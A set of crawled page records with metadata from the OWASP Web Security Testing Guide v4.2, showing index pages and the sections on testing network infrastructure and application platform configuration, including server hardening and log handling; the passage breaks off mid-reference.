Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/README", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/README", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "01-Information Gathering"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "4.1 Information Gathering"}], "markdown": "# WSTG - v4.2\n\n# 4.1 Information Gathering\n\n4.1.1 [Conduct Search Engine Discovery Reconnaissance for Information Leakage](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/01-Conduct_Search_Engine_Discovery_Reconnaissance_for_Information_Leakage)\n\n4.1.2 [Fingerprint Web Server](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/02-Fingerprint_Web_Server)\n\n4.1.3 [Review Webserver Metafiles for Information Leakage](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/03-Review_Webserver_Metafiles_for_Information_Leakage)\n\n4.1.4 [Enumerate Applications on Webserver](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/04-Enumerate_Applications_on_Webserver)\n\n4.1.5 [Review Webpage Content for Information Leakage](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/05-Review_Webpage_Content_for_Information_Leakage)\n\n4.1.6 [Identify Application Entry Points](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/06-Identify_Application_Entry_Points)\n\n4.1.7 [Map Execution Paths Through Application](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/07-Map_Execution_Paths_Through_Application)\n\n4.1.8 [Fingerprint Web Application Framework](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/08-Fingerprint_Web_Application_Framework)\n\n4.1.9 [Fingerprint Web Application](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/09-Fingerprint_Web_Application)\n\n4.1.10 [Map Application Architecture](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/10-Map_Application_Architecture)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 2083, "slov": 143, "odkazu": 178, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:08:47", "sha256": "730dfe355c7b8d5736e06b2ebe448d49a67dca89a693d081cdbcfb097ed981b8", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "02-Configuration and Deployment Management Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "4.2 Configuration and Deployment Management Testing"}], "markdown": "# WSTG - v4.2\n\n# 4.2 Configuration and Deployment Management Testing\n\n4.2.1 [Test Network Infrastructure Configuration](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/01-Test_Network_Infrastructure_Configuration)\n\n4.2.2 [Test Application Platform Configuration](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/02-Test_Application_Platform_Configuration)\n\n4.2.3 [Test File Extensions Handling for Sensitive Information](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/03-Test_File_Extensions_Handling_for_Sensitive_Information)\n\n4.2.4 [Review Old Backup and Unreferenced Files for Sensitive Information](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/04-Review_Old_Backup_and_Unreferenced_Files_for_Sensitive_Information)\n\n4.2.5 [Enumerate Infrastructure and Application Admin Interfaces](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/05-Enumerate_Infrastructure_and_Application_Admin_Interfaces)\n\n4.2.6 [Test HTTP Methods](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/06-Test_HTTP_Methods)\n\n4.2.7 [Test HTTP Strict Transport Security](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/07-Test_HTTP_Strict_Transport_Security)\n\n4.2.8 [Test RIA Cross Domain Policy](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/08-Test_RIA_Cross_Domain_Policy)\n\n4.2.9 [Test File Permission](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/09-Test_File_Permission)\n\n4.2.10 [Test for Subdomain Takeover](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/10-Test_for_Subdomain_Takeover)\n\n4.2.11 [Test Cloud Storage](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/11-Test_Cloud_Storage)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 2546, "slov": 162, "odkazu": 178, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:44:55", "sha256": "7cc3e34118531941a9cbe0ba8e7446fa03f29043edecc6dcd07d0b864284cb0c", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/01-Test_Network_Infrastructure_Configuration", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/01-Test_Network_Infrastructure_Configuration", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/01-Test_Network_Infrastructure_Configuration", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "02-Configuration and Deployment Management Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Test Network Infrastructure Configuration"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Known Server Vulnerabilities"}, {"uroven": 3, "text": "Administrative Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.2\n\n# Test Network Infrastructure Configuration\n\n| ID |\n| --- |\n| WSTG-CONF-01 |\n\n## Summary\n\nThe intrinsic complexity of interconnected and heterogeneous web server infrastructure, which can include hundreds of web applications, makes configuration management and review a fundamental step in testing and deploying every single application. It takes only a single vulnerability to undermine the security of the entire infrastructure, and even small and seemingly unimportant problems may evolve into severe risks for another application on the same server. In order to address these problems, it is of utmost importance to perform an in-depth review of configuration and known security issues, after having mapped the entire architecture.\n\nProper configuration management of the web server infrastructure is very important in order to preserve the security of the application itself. If elements such as the web server software, the back-end database servers, or the authentication servers are not properly reviewed and secured, they might introduce undesired risks or introduce new vulnerabilities that might compromise the application itself.\n\nFor example, a web server vulnerability that would allow a remote attacker to disclose the source code of the application itself (a vulnerability that has arisen a number of times in both web servers or application servers) could compromise the application, as anonymous users could use the information disclosed in the source code to leverage attacks against the application or its users.\n\nThe following steps need to be taken to test the configuration management infrastructure:\n\n- The different elements that make up the infrastructure need to be determined in order to understand how they interact with a web application and how they affect its security.\n- All the elements of the infrastructure need to be reviewed in order to make sure that they don’t contain any known vulnerabilities.\n- A review needs to be made of the administrative tools used to maintain all the different elements.\n- The authentication systems, need to reviewed in order to assure that they serve the needs of the application and that they cannot be manipulated by external users to leverage access.\n- A list of defined ports which are required for the application should be maintained and kept under change control.\n\nAfter having mapped the different elements that make up the infrastructure (see [Map Network and Application Architecture](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/10-Map_Application_Architecture)) it is possible to review the configuration of each element founded and test for any known vulnerabilities.\n\n## Test Objectives\n\n- Review the applications’ configurations set across the network and validate that they are not vulnerable.\n- Validate that used frameworks and systems are secure and not susceptible to known vulnerabilities due to unmaintained software or default settings and credentials.\n\n## How to Test\n\n### Known Server Vulnerabilities\n\nVulnerabilities found in the different areas of the application architecture, be it in the web server or in the back end database, can severely compromise the application itself. For example, consider a server vulnerability that allows a remote, unauthenticated user to upload files to the web server or even to replace files. This vulnerability could compromise the application, since a rogue user may be able to replace the application itself or introduce code that would affect the back end servers, as its application code would be run just like any other application.\n\nReviewing server vulnerabilities can be hard to do if the test needs to be done through a blind penetration test. In these cases, vulnerabilities need to be tested from a remote site, typically using an automated tool. However, testing for some vulnerabilities can have unpredictable results on the web server, and testing for others (like those directly involved in denial of service attacks) might not be possible due to the service downtime involved if the test was successful.\n\nSome automated tools will flag vulnerabilities based on the web server version retrieved. This leads to both false positives and false negatives. On one hand, if the web server version has been removed or obscured by the local site administrator the scan tool will not flag the server as vulnerable even if it is. On the other hand, if the vendor providing the software does not update the web server version when vulnerabilities are fixed, the scan tool will flag vulnerabilities that do not exist. The latter case is actually very common as some operating system vendors back port patches of security vulnerabilities to the software they provide in the operating system, but do not do a full upload to the latest software version. This happens in most GNU/Linux distributions such as Debian, Red Hat or SuSE. In most cases, vulnerability scanning of an application architecture will only find vulnerabilities associated with the “exposed” elements of the architecture (such as the web server) and will usually be unable to find vulnerabilities associated to elements which are not directly exposed, such as the authentication back ends, the back end database, or reverse proxies in use.\n\nFinally, not all software vendors disclose vulnerabilities in a public way, and therefore these weaknesses do not become registered within publicly known vulnerability databases [2]. This information is only disclosed to customers or published through fixes that do not have accompanying advisories. This reduces the usefulness of vulnerability scanning tools. Typically, vulnerability coverage of these tools will be very good for common products (such as the Apache web server, Microsoft’s Internet Information Server, or IBM’s Lotus Domino) but will be lacking for lesser known products.\n\nThis is why reviewing vulnerabilities is best done when the tester is provided with internal information of the software used, including versions and releases used and patches applied to the software. With this information, the tester can retrieve the information from the vendor itself and analyze what vulnerabilities might be present in the architecture and how they can affect the application itself. When possible, these vulnerabilities can be tested to determine their real effects and to detect if there might be any external elements (such as intrusion detection or prevention systems) that might reduce or negate the possibility of successful exploitation. Testers might even determine, through a configuration review, that the vulnerability is not even present, since it affects a software component that is not in use.\n\nIt is also worthwhile to note that vendors will sometimes silently fix vulnerabilities and make the fixes available with new software releases. Different vendors will have different release cycles that determine the support they might provide for older releases. A tester with detailed information of the software versions used by the architecture can analyse the risk associated to the use of old software releases that might be unsupported in the short term or are already unsupported. This is critical, since if a vulnerability were to surface in an old software version that is no longer supported, the systems personnel might not be directly aware of it. No patches will be ever made available for it and advisories might not list that version as vulnerable as it is no longer supported. Even in the event that they are aware that the vulnerability is present and the system is vulnerable, they will need to do a full upgrade to a new software release, which might introduce significant downtime in the application architecture or might force the application to be re-coded due to incompatibilities with the latest software version.\n\n### Administrative Tools\n\nAny web server infrastructure requires the existence of administrative tools to maintain and update the information used by the application. This information includes static content (web pages, graphic files), application source code, user authentication databases, etc. Administrative tools will differ depending on the site, technology, or software used. For example, some web servers will be managed using administrative interfaces which are, themselves, web servers (such as the iPlanet web server) or will be administrated by plain text configuration files (in the Apache case [3]) or use operating-system GUI tools (when using Microsoft’s IIS server or ASP.Net).\n\nIn most cases the server configuration will be handled using different file maintenance tools used by the web server, which are managed through FTP servers, WebDAV, network file systems (NFS, CIFS) or other mechanisms. Obviously, the operating system of the elements that make up the application architecture will also be managed using other tools. Applications may also have administrative interfaces embedded in them that are used to manage the application data itself (users, content, etc.).\n\nAfter having mapped the administrative interfaces used to manage the different parts of the architecture it is important to review them since if an attacker gains access to any of them he can then compromise or damage the application architecture. To do this it is important to:\n\n- Determine the mechanisms that control access to these interfaces and their associated susceptibilities. This information may be available online.\n- Change the default username and password.\n\nSome companies choose not to manage all aspects of their web server applications, but may have other parties managing the content delivered by the web application. This external company might either provide only parts of the content (news updates or promotions) or might manage the web server completely (including content and code). It is common to find administrative interfaces available from the Internet in these situations, since using the Internet is cheaper than providing a dedicated line that will connect the external company to the application infrastructure through a management-only interface. In this situation, it is very important to test if the administrative interfaces can be vulnerable to attacks.\n\n## References\n\n- [1] WebSEAL, also known as Tivoli Authentication Manager, is a reverse proxy from IBM which is part of the Tivoli framework.\n- [2] Such as Symantec’s Bugtraq, ISS’ X-Force, or NIST’s National Vulnerability Database (NVD).\n- [3] There are some GUI-based administration tools for Apache (like NetLoony) but they are not in widespread use yet.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 10643, "slov": 1621, "odkazu": 178, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:08:59", "sha256": "3ee2a84ae1bc733aaa31fd2bced6e8e8c95dd5d06aa4c151e0e32c59e311f894", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/02-Test_Application_Platform_Configuration", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/02-Test_Application_Platform_Configuration", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/02-Test_Application_Platform_Configuration", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "02-Configuration and Deployment Management Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Test Application Platform Configuration"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Black-Box Testing"}, {"uroven": 4, "text": "Sample and Known Files and Directories"}, {"uroven": 4, "text": "System Configuration"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 4, "text": "Configuration Review"}, {"uroven": 4, "text": "Logging"}, {"uroven": 5, "text": "Sensitive Information in Logs"}, {"uroven": 4, "text": "Log Location"}, {"uroven": 4, "text": "Log Storage"}, {"uroven": 4, "text": "Log Rotation"}, {"uroven": 4, "text": "Log Access Control"}, {"uroven": 4, "text": "Log Review"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.2\n\n# Test Application Platform Configuration\n\n| ID |\n| --- |\n| WSTG-CONF-02 |\n\n## Summary\n\nProper configuration of the single elements that make up an application architecture is important in order to prevent mistakes that might compromise the security of the whole architecture.\n\nConfiguration review and testing is a critical task in creating and maintaining an architecture. This is because many different systems will be usually provided with generic configurations that might not be suited to the task they will perform on the specific site they’re installed on.\n\nWhile the typical web and application server installation will contain a lot of functionality (like application examples, documentation, test pages) what is not essential should be removed before deployment to avoid post-install exploitation.\n\n## Test Objectives\n\n- Ensure that defaults and known files have been removed.\n- Validate that no debugging code or extensions are left in the production environments.\n- Review the logging mechanisms set in place for the application.\n\n## How to Test\n\n### Black-Box Testing\n\n#### Sample and Known Files and Directories\n\nMany web servers and application servers provide, in a default installation, sample applications and files for the benefit of the developer and in order to test that the server is working properly right after installation. However, many default web server applications have been later known to be vulnerable. This was the case, for example, for CVE-1999-0449 (Denial of Service in IIS when the Exair sample site had been installed), CAN-2002-1744 (Directory traversal vulnerability in CodeBrws.asp in Microsoft IIS 5.0), CAN-2002-1630 (Use of sendmail.jsp in Oracle 9iAS), or CAN-2003-1172 (Directory traversal in the view-source sample in Apache’s Cocoon).\n\nCGI scanners include a detailed list of known files and directory samples that are provided by different web or application servers and might be a fast way to determine if these files are present. However, the only way to be really sure is to do a full review of the contents of the web server or application server and determine of whether they are related to the application itself or not.\n\nIt is very common for programmers to add comments when developing large web-based applications. However, comments included inline in HTML code might reveal internal information that should not be available to an attacker. Sometimes, even source code is commented out since a functionality is no longer required, but this comment is leaked out to the HTML pages returned to the users unintentionally.\n\nComment review should be done in order to determine if any information is being leaked through comments. This review can only be thoroughly done through an analysis of the web server static and dynamic content and through file searches. It can be useful to browse the site either in an automatic or guided fashion and store all the content retrieved. This retrieved content can then be searched in order to analyse any HTML comments available in the code.\n\n#### System Configuration\n\nVarious tools, documents, or checklists can be used to give IT and security professionals a detailed assessment of target systems’ conformance to various configuration baselines or benchmarks. Such tools include (but are not limited to):\n\n- [CIS-CAT Lite](https://www.cisecurity.org/blog/introducing-cis-cat-lite/)\n- [Microsoft’s Attack Surface Analyzer](https://github.com/microsoft/AttackSurfaceAnalyzer)\n- [NIST’s National Checklist Program](https://nvd.nist.gov/ncp/repository)\n\n### Gray-Box Testing\n\n#### Configuration Review\n\nThe web server or application server configuration takes an important role in protecting the contents of the site and it must be carefully reviewed in order to spot common configuration mistakes. Obviously, the recommended configuration varies depending on the site policy, and the functionality that should be provided by the server software. In most cases, however, configuration guidelines (either provided by the software vendor or external parties) should be followed to determine if the server has been properly secured.\n\nIt is impossible to generically say how a server should be configured, however, some common guidelines should be taken into account:\n\n- Only enable server modules (ISAPI extensions in the case of IIS) that are needed for the application. This reduces the attack surface since the server is reduced in size and complexity as software modules are disabled. It also prevents vulnerabilities that might appear in the vendor software from affecting the site if they are only present in modules that have been already disabled.\n- Handle server errors (40x or 50x) with custom-made pages instead of with the default web server pages. Specifically make sure that any application errors will not be returned to the end user and that no code is leaked through these errors since it will help an attacker. It is actually very common to forget this point since developers do need this information in pre-production environments.\n- Make sure that the server software runs with minimized privileges in the operating system. This prevents an error in the server software from directly compromising the whole system, although an attacker could elevate privileges once running code as the web server.\n- Make sure the server software properly logs both legitimate access and errors.\n- Make sure that the server is configured to properly handle overloads and prevent Denial of Service attacks. Ensure that the server has been performance-tuned properly.\n- Never grant non-administrative identities (with the exception of `NT SERVICE\\WMSvc` ) access to applicationHost.config, redirection.config, and administration.config (either Read or Write access). This includes `Network Service` , `IIS_IUSRS` , `IUSR` , or any custom identity used by IIS application pools. IIS worker processes are not meant to access any of these files directly.\n- Never share out applicationHost.config, redirection.config, and administration.config on the network. When using Shared Configuration, prefer to export applicationHost.config to another location (see the section titled “Setting Permissions for Shared Configuration).\n- Keep in mind that all users can read .NET Framework `machine.config` and root `web.config` files by default. Do not store sensitive information in these files if it should be for administrator eyes only.\n- Encrypt sensitive information that should be read by the IIS worker processes only and not by other users on the machine.\n- Do not grant Write access to the identity that the Web server uses to access the shared `applicationHost.config` . This identity should have only Read access.\n- Use a separate identity to publish applicationHost.config to the share. Do not use this identity for configuring access to the shared configuration on the Web servers.\n- Use a strong password when exporting the encryption keys for use with shared -configuration.\n- Maintain restricted access to the share containing the shared configuration and encryption keys. If this share is compromised, an attacker will be able to read and write any IIS configuration for your Web servers, redirect traffic from your Web site to malicious sources, and in some cases gain control of all web servers by loading arbitrary code into IIS worker processes.\n- Consider protecting this share with firewall rules and IPsec policies to allow only the member web servers to connect.\n\n#### Logging\n\nLogging is an important asset of the security of an application architecture, since it can be used to detect flaws in applications (users constantly trying to retrieve a file that does not really exist) as well as sustained attacks from rogue users. Logs are typically properly generated by web and other server software. It is not common to find applications that properly log their actions to a log and, when they do, the main intention of the application logs is to produce debugging output that could be used by the programmer to analyze a particular error.\n\nIn both cases (server and application logs) several issues should be tested and analyzed based on the log contents:\n\n1. Do the logs contain sensitive information?\n2. Are the logs stored in a dedicated server?\n3. Can log usage generate a Denial of Service condition?\n4. How are they rotated? Are logs kept for the sufficient time?\n5. How are logs reviewed? Can administrators use these reviews to detect targeted attacks?\n6. How are log backups preserved?\n7. Is the data being logged data validated (min/max length, chars etc) prior to being logged?\n\n##### Sensitive Information in Logs\n\nSome applications might, for example, use GET requests to forward form data which will be seen in the server logs. This means that server logs might contain sensitive information (such as usernames as passwords, or bank account details). This sensitive information can be misused by an attacker if they obtained the logs, for example, through administrative interfaces or known web server vulnerabilities or misconfiguration (like the well-known `server-status` misconfiguration in Apache-based HTTP servers).\n\nEvent logs will often contain data that is useful to an attacker (information leakage) or can be used directly in exploits:\n\n- Debug information\n- Stack traces\n- Usernames\n- System component names\n- Internal IP addresses\n- Less sensitive personal data (e.g. email addresses, postal addresses and telephone numbers associated with named individuals)\n- Business data\n\nAlso, in some jurisdictions, storing some sensitive information in log files, such as personal data, might oblige the enterprise to apply the data protection laws that they would apply to their back-end databases to log files too. And failure to do so, even unknowingly, might carry penalties under the data protection laws that apply.\n\nA wider list of sensitive information is:\n\n- Application source code\n- Session identification values\n- Access tokens\n- Sensitive personal data and some forms of personally identifiable information (PII)\n- Authentication passwords\n- Database connection strings\n- Encryption keys\n- Bank account or payment card holder data\n- Data of a higher security classification than the logging system is allowed to store\n- Commercially-sensitive information\n- Information it is illegal to collect in the relevant jurisdiction\n- Information a user has opted out of collection, or not consented to e.g. use of do not track, or where consent to collect has expired\n\n#### Log Location\n\nTypically servers will generate local logs of their actions and errors, consuming the disk of the system the server is running on. However, if the server is compromised its logs can be wiped out by the intruder to clean up all the traces of its attack and methods. If this were to happen the system administrator would have no knowledge of how the attack occurred or where the attack source was located. Actually, most attacker tool kits include a ‘‘log zapper ‘’ that is capable of cleaning up any logs that hold given information (like the IP address of the attacker) and are routinely used in attacker’s system-level root kits.\n\nConsequently, it is wiser to keep logs in a separate location and not in the web server itself. This also makes it easier to aggregate logs from different sources that refer to the same application (such as those of a web server farm) and it also makes it easier to do log analysis (which can be CPU intensive) without affecting the server itself.\n\n#### Log Storage\n\nLogs can introduce a Denial of Service condition if they are not properly stored. Any attacker with sufficient resources could be able to produce a sufficient number of requests that would fill up the allocated space to log files, if they are not specifically prevented from doing so. However, if the server is not properly configured, the log files will be stored in the same disk partition as the one used for the operating system software or the application itself. This means that if the disk were to be filled up the operating system or the application might fail because it is unable to write on disk.\n\nTypically in UNIX systems logs will be located in /var (although some server installations might reside in /opt or /usr/local) and it is important to make sure that the directories in which logs are stored are in a separate partition. In some cases, and in order to prevent the system logs from being affected, the log directory of the server software itself (such as /var/log/apache in the Apache web server) should be stored in a dedicated partition.\n\nThis is not to say that logs should be allowed to grow to fill up the file system they reside in. Growth of server logs should be monitored in order to detect this condition since it may be indicative of an attack.\n\nTesting this condition is as easy, and as dangerous in production environments, as firing off a sufficient and sustained number of requests to see if these requests are logged and if there is a possibility to fill up the log partition through these requests. In some environments where QUERY_STRING parameters are also logged regardless of whether they are produced through GET or POST requests, big queries can be simulated that will fill up the logs faster since, typically, a single request will cause only a small amount of data to be logged, such as date and time, source IP address, URI request, and server result.\n\n#### Log Rotation\n\nMost servers (but few custom applications) will rotate logs in order to prevent them from filling up the file system they reside on. The assumption when rotating logs is that the information in them is only necessary for a limited amount of time.\n\nThis feature should be tested in order to ensure that:\n\n- Logs are kept for the time defined in the security policy, not more and not less.\n- Logs are compressed once rotated (this is a convenience, since it will mean that more logs will be stored for the same available disk space).\n- File system permission of rotated log files are the same (or stricter) that those of the log files itself. For example, web servers will need to write to the logs they use but they don’t actually need to write to rotated logs, which means that the permissions of the files can be changed upon rotation to prevent the web server process from modifying these.\n\nSome servers might rotate logs when they reach a given size. If this happens, it must be ensured that an attacker cannot force logs to rotate in order to hide his tracks.\n\n#### Log Access Control\n\nEvent log information should never be visible to end users. Even web administrators should not be able to see such logs since it breaks separation of duty controls. Ensure that any access control schema that is used to protect access to raw logs and any applications providing capabilities to view or search the logs is not linked with access control schemas for other application user roles. Neither should any log data be viewable by unauthenticated users.\n\n#### Log Review\n\nReview of logs can be used for more than extraction of usage statistics of files in the web servers (which is typically what most log-based application will focus on), but also to determine if attacks take place at the web server.\n\nIn order to analyze web server attacks the error log files of the server need to be analyzed. Review should concentrate on:\n\n- 40x (not found) error messages. A large amount of these from the same source might be indicative of a CGI scanner tool being used against the web server\n- 50x (server error) messages. These can be an indication of an attacker abusing parts of the application which fail unexpectedly. For example, the first phases of a SQL injection attack will produce these error message when the SQL query is not properly constructed and its execution fails on the back end database.\n\nLog statistics or analysis should not be generated, nor stored, in the same server that produces the logs. Otherwise, an attacker might, through a web server vulnerability or improper configuration, gain access to them and retrieve similar information as would be disclosed by log files themselves.\n\n## References\n\n- Apache\n - Apache Security, by Ivan Ristic, O’reilly, March 2005.\n - [Apache Security Secrets: Revealed (Again), Mark Cox, November 2003](https://awe.com/mark/talks/apachecon2003us.html)\n - [Apache Security Secrets: Revealed, ApacheCon 2002, Las Vegas, Mark J Cox, October 2002](https://awe.com/mark/talks/apachecon2002us.html)\n - [Performance Tuning](https://httpd.apache.org/docs/current/misc/perf-tuning.html)\n- Lotus Domino\n - Lotus Security Handbook, William Tworek et al., April 2004, available in the IBM Redbooks collection\n - Lotus Domino Security, an X-force white-paper, Internet Security Systems, December 2002\n - Hackproofing Lotus Domino Web Server, David Litchfield, October 2001\n- Microsoft IIS\n - [Security Best Practices for IIS 8](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/jj635855(v=ws.11))\n - [CIS Microsoft IIS Benchmarks](https://www.cisecurity.org/benchmark/microsoft_iis/)\n - Securing Your Web Server (Patterns and Practices), Microsoft Corporation, January 2004\n - IIS Security and Programming Countermeasures, by Jason Coombs\n - From Blueprint to Fortress: A Guide to Securing IIS 5.0, by John Davis, Microsoft Corporation, June 2001\n - Secure Internet Information Services 5 Checklist, by Michael Howard, Microsoft Corporation, June 2000\n- Red Hat’s (formerly Netscape’s) iPlanet\n - Guide to the Secure Configuration and Administration of iPlanet Web Server, Enterprise Edition 4.1, by James M Hayes, The Network Applications Team of the Systems and Network Attack Center (SNAC), NSA, January 2001\n- WebSphere\n - IBM WebSphere V5.0 Security, WebSphere Handbook Series, by Peter Kovari et al., IBM, December 2002.\n - IBM WebSphere V4.0 Advanced Edition Security, by Peter Kovari et al., IBM, March 2002.\n- General\n - [Logging Cheat 